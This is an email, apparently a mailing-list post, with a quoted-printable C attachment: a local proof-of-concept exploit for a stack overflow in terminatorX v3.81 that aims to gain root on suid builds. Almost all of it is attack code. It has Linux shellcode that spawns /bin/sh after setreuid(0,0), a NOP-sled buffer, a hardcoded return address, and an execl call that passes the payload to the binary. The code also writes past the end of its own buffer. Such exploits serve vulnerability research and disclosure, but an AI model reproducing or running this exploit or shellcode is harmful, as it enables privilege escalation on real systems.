------=_NextPart_000_0005_01C3A9D2.7C840900
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Local PoC exploit terminatorX v3.81
demz
demz@geekz.nl // www.geekz.nl
------=_NextPart_000_0005_01C3A9D2.7C840900
Content-Type: application/octet-stream;
	name="gEEk-terminatorX.c"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="gEEk-terminatorX.c"

/* gEEk-terminatorX.c=0A=
 *=0A=
 * PoC exploit made for advisory based uppon an local stack based =
overflow.=0A=
 * Vulnerable versions, maybe also prior versions:=0A=
 *=0A=
 * terminatorX v3.81=0A=
 *=0A=
 * Tested on:  Redhat 9.0=0A=
 *=0A=
 * Advisory source: c0wboy=0A=
 * http://www.0x333.org/advisories/outsiders-terminatorX-001.txt=0A=
 *=0A=
 * v3.81 uid=3D0(root) is only gained when compiled with: =
--enable-suidroot=0A=
 *=0A=
 * -----------------------------------------=0A=
 * coded by: demz (geekz.nl) (demz@geekz.nl)=0A=
 * -----------------------------------------=0A=
 *=0A=
 */=0A=
=0A=
#include <stdio.h>=0A=
#include <stdlib.h>=0A=
=0A=
char shellcode[]=3D=0A=
=0A=
	"\x31\xc0"                      // xor          eax, eax=0A=
        "\x31\xdb"                      // xor          ebx, ebx=0A=
        "\x31\xc9"                      // xor          ecx, ecx=0A=
        "\xb0\x46"                      // mov          al, 70=0A=
        "\xcd\x80"                      // int          0x80=0A=
=0A=
        "\x31\xc0"                      // xor          eax, eax=0A=
        "\x50"                          // push         eax=0A=
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e=0A=
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f=0A=
        "\x89\xe3"                      // mov          ebx, esp=0A=
        "\x50"                          // push         eax=0A=
        "\x53"                          // push         ebx=0A=
        "\x89\xe1"                      // mov          ecx, esp=0A=
        "\x99"                          // cdq=0A=
        "\xb0\x0b"                      // mov          al, 11=0A=
        "\xcd\x80"                      // int          0x80=0A=
=0A=
        "\x31\xc0"                      // xor          eax, eax=0A=
        "\xb0\x01"                      // mov          al, 1=0A=
        "\xcd\x80";                     // int          0x80=0A=
=0A=
int main()=0A=
{=0A=
	unsigned long ret =3D 0xbffff1f0;=0A=
=0A=
	char buffer[4380];=0A=
	int i=3D0;=0A=
=0A=
	memset(buffer, 0x90, sizeof(buffer));=0A=
=0A=
	for (0; i < strlen(shellcode) - 1;i++)=0A=
	buffer[2100 + i] =3D shellcode[i];=0A=
=0A=
	buffer[4380] =3D (ret & 0x000000ff);=0A=
	buffer[4381] =3D (ret & 0x0000ff00) >> 8;=0A=
	buffer[4382] =3D (ret & 0x00ff0000) >> 16;=0A=
	buffer[4383] =3D (ret & 0xff000000) >> 24;=0A=
	buffer[4384] =3D 0x0;=0A=
=0A=
	printf("\nterminatorX v3.81 local exploit\n");=0A=
        printf("---------------------------------------- demz @ geekz.nl =
--\n");=0A=
=0A=
	execl("/usr/local/bin/terminatorX", "terminatorX", "-r", buffer, NULL);=0A=
}=0A=
=0A=

------=_NextPart_000_0005_01C3A9D2.7C840900--